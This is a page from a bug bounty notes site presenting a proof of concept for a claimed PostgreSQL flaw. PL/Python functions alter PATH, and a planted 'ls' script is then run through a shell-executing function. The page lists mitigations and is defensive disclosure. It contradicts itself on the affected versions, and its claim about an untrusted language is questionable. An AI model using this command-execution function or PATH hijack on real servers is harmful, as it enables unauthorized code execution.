ReconDock By Kdairatchi
Go To ReconDock
MyRepo
MyRepo
  • Pastebin Services
  • Awesome Ai Talk
  • Bug Bounty Testing, Techniques, and Tools
  • Cybersources
  • Targets
  • Bug checklist
  • Bug Bounty Platforms
  • Awesome Bug Bounty Tips Awesome
    • CVE Exploits and PoC Collection
  • ============ Awesome Bugs
    • Awesome One-liner Bug Bounty
  • Awesome CS Courses
  • Awesome Cyber Co
  • Awesome Dev
  • Awesome Free Certs
  • Awesome Git
  • Awesome Github
  • Awesome Go
  • Awesome Interviews
  • Awesome Keys
  • Awesome Mac OpenSource
  • Awesome Mac
  • Awesome Python
    • Awesome Tool
  • Awesome-Selfhosted
    • Awesome Hacker Search Engines
  • Awesome Shell
  • Awesome Shodan Search Queries
  • Awesome Static Website Services Awesome
  • Awesome Vulnerable Applications
  • Awesome WAF
  • Awesome First PR Opportunities
  • Awesome-Bugbounty-Writeups
  • Awesome-web3-Security awesome
  • Bug-Bounty
  • CTF Tools
  • Awesome Blockchain Bug Bounty
  • Awesome Bug Bounty
  • awesome-design-systems
  • Awesome Google VRP Writeups
  • Web Scraping
  • awesome
  • bug-bounty-reference
  • the-book-of-secret-knowledge
  • APACHE
  • AWS
  • AZURE
  • CISCO
  • CLOUDFLARE
  • Cross Origin Resource Sharing (CORS)
  • CRLF Injection || HTTP Response Splitting
  • CSV Injection
  • Content Injection
  • CRLF Injection || HTTP Response Splitting
  • JENKINS
  • JIRA
  • LFI
  • OR
  • PostgreSQL Environment Variable Manipulation Vulnerability
  • RCE
  • Recon
  • SSRF
  • Proof OF Concept (POC): SharePoint Vulnerability Detection
  • Template Injection
  • WORDPRESS
  • XSLT Injection
  • XSS
  • XXE
  • Books
  • Firebase Subdomain Enumeration & PoC Testing
  • SQLI
  • Special Tools
  • Account Takeover
  • Authentication
  • Broken Link Hijacking
  • Business Logic Errors
  • Default Credentials
  • Email Spoofing
  • ExposedAPIkeys
  • ForgotPasswordFunctionality
  • JWT Vulnerabilities
  • OWASPTestingChecklist1
  • Tabnabbing
  • Web Cache Poisoning
  • Wordpress Endpoints to look
  • lfi_vulnerble_targets
  • (LFI)passwrd
  • LostSec
  • POCS
    • CVES
      • CVE-2021-36873
      • BreadcrumbsSQL_Injection_cve_2024
      • CVE-2024-0195
      • CVE-2024-29269 Exploit
  • 403-ByPass
  • Chat-bot_xss_payloads
  • burp
    • Match & Replace
    • Zap
  • cloudflare-waf-bypass
  • infosec
    • Customize the bash shell environments
    • automation
    • Website Ideas
  • 2FA bypass
  • Account Takeover
  • OWASP Web Application Security Testing Checklist
  • Projects
  • OWASP Top Ten
  • links
  • Bug Bounty Builder ¯\(ツ)/¯
  • Awesome
    • AllAboutBugBounty: All about bug bounty (bypasses, payloads, and etc)
  • Cheatsheets
  • Checklists
    • Here’s a clear, step by step breakdown of commands, tools, and objectives for each section in your Web Security Testing Guide (WSTG). Each test includes easy to follow commands, explanations, and examples where applicable.
  • Dorks
  • Scripts
  • Loads
  • OWASP
    • Checklist
  • ai
    • Ai Best for Information and Coding
  • Medium Recent Writeups
  • 🌟 Useful Extensions for Bug Bounty Hunting 🌟
  • Customize the bash shell environments
  • Fabric
    • Test Application Platform Configuration
  • Docker
  • Git auto
  • Bug Bounty Beginner's Roadmap
  • Methodology 2025
    • Advanced Recon Methodology
Powered by GitBook
On this page
  • Description
  • Affected Products/Versions
  • Proof-of-Concept (PoC)
  • Steps to Reproduce
  • Expected Outcome
  • Impact
  • This vulnerability enables:
  • Suggested Mitigations

PostgreSQL Environment Variable Manipulation Vulnerability

Description

This repository documents a vulnerability identified in PostgreSQL versions 16.3, 17.1 and 17.2 that allows for unauthorized manipulation of environment variables using PL/Python functions. This issue can lead to unauthorized command execution, privilege escalation, and other potential security impacts.

Affected Products/Versions

  • Product: PostgreSQL

  • Versions Affected: 16.3, 17.1

Proof-of-Concept (PoC)

Steps to Reproduce

  1. Connect to the PostgreSQL database as a user with permissions to create functions.

    psql -U [username] -d [database_name]
  2. Create a PL/Python function to modify the PATH environment variable:

    CREATE FUNCTION test_env_python() RETURNS void AS $$
    import os
    os.environ['PATH'] = '/tmp/test_bin:' + os.environ['PATH']
    $$ LANGUAGE plpython3u;
  3. Verify the change by creating a custom script in /tmp/test_bin and executing it through PostgreSQL. Create the script:

    mkdir /tmp/test_bin
    echo -e '#!/bin/bash\n echo "Custom script executed!"' > /tmp/test_bin/ls
    chmod +x /tmp/test_bin/ls
  4. Execute the script through a PostgreSQL function:

    CREATE FUNCTION run_shell_command(cmd TEXT) RETURNS void AS $$
    import subprocess
    subprocess.run(cmd, shell=True)
    $$ LANGUAGE plpython3u;
    
    SELECT run_shell_command('ls');

Expected Outcome

The custom ls script in /tmp/test_bin is executed, demonstrating that environment variable manipulation allows for custom command execution.

Impact

This vulnerability enables:

Unauthorized Code Execution: An attacker with permissions to create functions may modify the environment and execute arbitrary commands. Privilege Escalation: Depending on the privileges of the PostgreSQL user, an attacker may gain higher-level access or control over the underlying server.

Suggested Mitigations

-Restrict Permissions: Limit the creation of PL/Python and PL/Perl functions to trusted users only. -Environment Variable Sanitization: Ensure that environment variables are properly sanitized and modifications are restricted. -Upgrade PostgreSQL: If a fix is released by the PostgreSQL Global Development Group, update to the latest version. -Audit Database Functions: Regularly audit user-created functions to detect and prevent potential exploitation.

Discovered by Fabian Mora, November 2024.

PreviousORNextRCE

Last updated 4 months ago